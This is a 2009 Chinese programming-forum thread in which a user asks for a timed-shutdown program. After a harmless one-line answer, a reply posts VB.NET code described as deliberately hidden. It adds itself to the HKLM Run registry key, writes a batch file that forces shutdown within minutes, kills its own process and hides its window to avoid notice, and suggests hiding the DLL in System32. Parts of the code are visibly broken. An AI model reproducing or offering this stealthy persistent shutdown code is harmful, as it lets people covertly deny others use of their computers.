| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 1208 人关注过本帖
标题:哪位大虾可以写一个定时关机的程序?
只看楼主 加入收藏
jiutian1981
Rank: 2
来 自:山东淄博
等 级:论坛游民
帖 子:33
专家分:10
注 册:2009-4-3
结帖率:85.71%
收藏
 问题点数:0 回复次数:4 
哪位大虾可以写一个定时关机的程序?
急求一个定时关节的程序,谢谢!
2009-09-26 08:11
subMain
Rank: 5Rank: 5
等 级:职业侠客
帖 子:50
专家分:357
注 册:2009-8-17
收藏
得分:0 
可以去看看这个贴子。。
https://bbs.bccn.net/thread-283903-1-1.html

学习VB好多天
2009-09-26 17:11
acaiwlj
Rank: 1
等 级:新手上路
帖 子:8
专家分:0
注 册:2009-10-1
收藏
得分:0 
System.Diagnostics.Process.Start("Shutdown", "/s")
VB中关机的代码,如果第二个参数设为"/r"重启,"/a"注销用户
其它的就是用以个定时器不断的去检测看是否到了定时的时间,到了就执行这条语句,否则继续检测。
在检测期间还要用到DateTime这个类,用当前时间与设定的时间进行求差运算就可以判断了
2009-10-05 15:59
dyqq1234
Rank: 2
等 级:论坛游民
帖 子:21
专家分:10
注 册:2008-10-24
收藏
得分:0 
编写的定时关机程序,先编写了一个dll链接库为的是隐蔽作用:
 
程序代码:
Imports  
Imports System 
Public Class Class1 
    Public Function buffer() 
        Dim a As Integer 
        Dim i As Integer = Minute(Now) 
        Dim j As Integer = Hour(Now) 
        a = i + 5 
        Dim path As String = "c:\VB.bat" 
        Dim path1 As String = "D:\My Documents\Visual Studio 2005\Projects\传递\传递\bin\Debug\传递.exe" 
        Dim fil1 As New FileInfo(path) 
        Dim MyReg As Microsoft.Win32.RegistryKey 
        MyReg = Microsoft.Win32.Registry.LocalMachine 
        MyReg = MyReg.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\run") 
 
//修改注册表保证每次开机都加载指定的程序 
        MyReg.SetValue("传递.exe", path1) 
        MyReg.Close() 
        If fil1.Exists = False Then 
            File.AppendAllText(path, "at " & j & ":" & a & " shutdown -s -t 0 -f") 
 
//该函数规定了5分钟后关机 
 
//我选取生成bat文件来关机,未采取API函数来关机 
        Else 
            File.Delete(path) 
            File.AppendAllText(path, "at " & j & ":" & a & " shutdown -s -t 0 -f") 
        End If 
        Dim id As String 
        id = Shell("""c:\VB.bat"" -a -q", , True, 100000) 
        Dim process As System.Diagnostics.Process 
        For Each process In System.Diagnostics.Process.GetProcesses 
            If process.ProcessName = "传递" Then 
                process.Kill() 
            End If 
        Next 
 
//遍历进程管理器,Kill掉该进程,时期隐蔽 
        Return buffer() 
    End Function 
    Private Function Shell(ByVal PathName As String, Optional ByVal Style As AppWinStyle = AppWinStyle.MinimizedFocus, Optional ByVal Wait As Boolean = False, Optional ByVal Timeout As Integer = -1) As Integer 
        Dim procID As Integer 
        Dim newProc As Diagnostics.Process 
        newProc = Diagnostics.Process.Start("c:\VB.bat") 
        procID = newProc.Id 
        newProc.WaitForExit() 
        Dim procEC As Integer = -1 
        If newProc.HasExited Then 
            procEC = newProc.ExitCode 
        End If 
    End Function 
 
//这里用的专门的API执行函数,提高效率 
End Class 
 
/这个DLL函数可以放到System32下,也可以放到更新版本后的WindowsXP系统dllCache文件里. 
 
执行dll文件函数: 
 
Imports  
Imports System.Threading.Thread 
Public Class Form1 
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load 
        Dim path As String = "c:\VB.bat" 
        Dim file As New FileInfo(path) 
        file.Delete() 
        Dim MyDll As New 定时关机.Class1 
 
//加载定时关机dll函数 
        Dim MyResult As String = MyDll.buffer() 
    End Sub 
End Class 

 
这是主执行体,每次执行该函数时都会自动隐蔽窗体不别人发现
程序有些问题,具体的你自己改就可以了!

我博客太多了,不知道是哪个?具体看我百度博客上面吧!http://hi.baidu.com/dyqq1234/blog/item/3c796654523298ccb745ae1a.html
2009-10-25 01:10
快速回复:哪位大虾可以写一个定时关机的程序?
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.014464 second(s), 7 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved